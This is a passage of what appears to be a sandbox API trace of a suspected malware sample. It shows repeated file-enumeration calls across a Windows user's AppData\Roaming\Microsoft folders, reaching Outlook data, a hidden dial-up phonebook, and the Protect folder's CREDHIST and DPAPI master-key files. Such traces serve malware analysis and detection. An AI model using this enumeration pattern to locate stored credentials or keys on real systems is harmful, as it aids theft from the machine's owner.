lpFindFileData=0x2a6cd08) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 112 [0119.312] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk") returned 118 [0119.312] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk") returned 126 [0119.312] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned 122 [0119.312] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 120 [0119.313] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk") returned 125 [0119.313] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned 121 [0119.313] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk") returned 129 [0119.313] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk") returned 125 [0119.313] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0119.313] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.313] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.313] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.313] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 100 [0119.313] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.313] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.313] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.313] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.313] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MMC") returned 53 [0119.313] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MMC\\*") returned 55 [0119.313] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.313] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.313] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.313] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.313] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project") returned 60 [0119.313] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned 62 [0119.313] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.313] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.313] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.313] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15") returned 63 [0119.313] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\*") returned 65 [0119.313] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.314] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.314] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\1033") returned 68 [0119.314] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\1033\\*") returned 70 [0119.314] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\1033\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.314] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.314] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\1033\\Global.MPT") returned 79 [0119.314] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.314] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.314] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.314] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.314] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network") returned 57 [0119.314] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\*") returned 59 [0119.314] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.314] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.314] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned 69 [0119.314] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned 71 [0119.314] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.314] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.314] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned 73 [0119.314] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned 75 [0119.314] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.314] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.314] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned 84 [0119.314] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned 86 [0119.314] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.315] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.315] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 97 [0119.315] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0119.315] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.315] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.315] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.315] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.315] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.315] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.315] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office") returned 56 [0119.315] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\*") returned 58 [0119.315] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.315] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.315] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 68 [0119.315] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 63 [0119.315] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned 65 [0119.315] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\contacts.LNK") returned 76 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned 77 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 74 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 73 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\My Documents.LNK") returned 80 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 77 [0119.315] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.315] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\UPS_Slip_307086.LNK") returned 83 [0119.316] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.316] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.316] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.316] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.316] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.316] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook") returned 57 [0119.316] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned 59 [0119.316] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.316] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.316] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.316] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 69 [0119.316] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.316] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 69 [0119.316] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.316] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.316] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.316] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\PowerPoint") returned 60 [0119.316] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned 62 [0119.316] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.316] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.316] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.316] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.316] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.316] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Proof") returned 55 [0119.316] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Proof\\*") returned 57 [0119.316] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.316] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.316] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.317] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect") returned 57 [0119.317] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\*") returned 59 [0119.317] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.317] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 66 [0119.317] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000") returned 102 [0119.317] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\*") returned 104 [0119.317] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.317] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\06743916-2bb9-4164-9189-b042dfe896ea") returned 139 [0119.317] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\5358434f-1530-463f-8a1f-1ad00bfd7678") returned 139 [0119.317] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\Preferred") returned 112 [0119.317] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.317] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned 103 [0119.317] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK 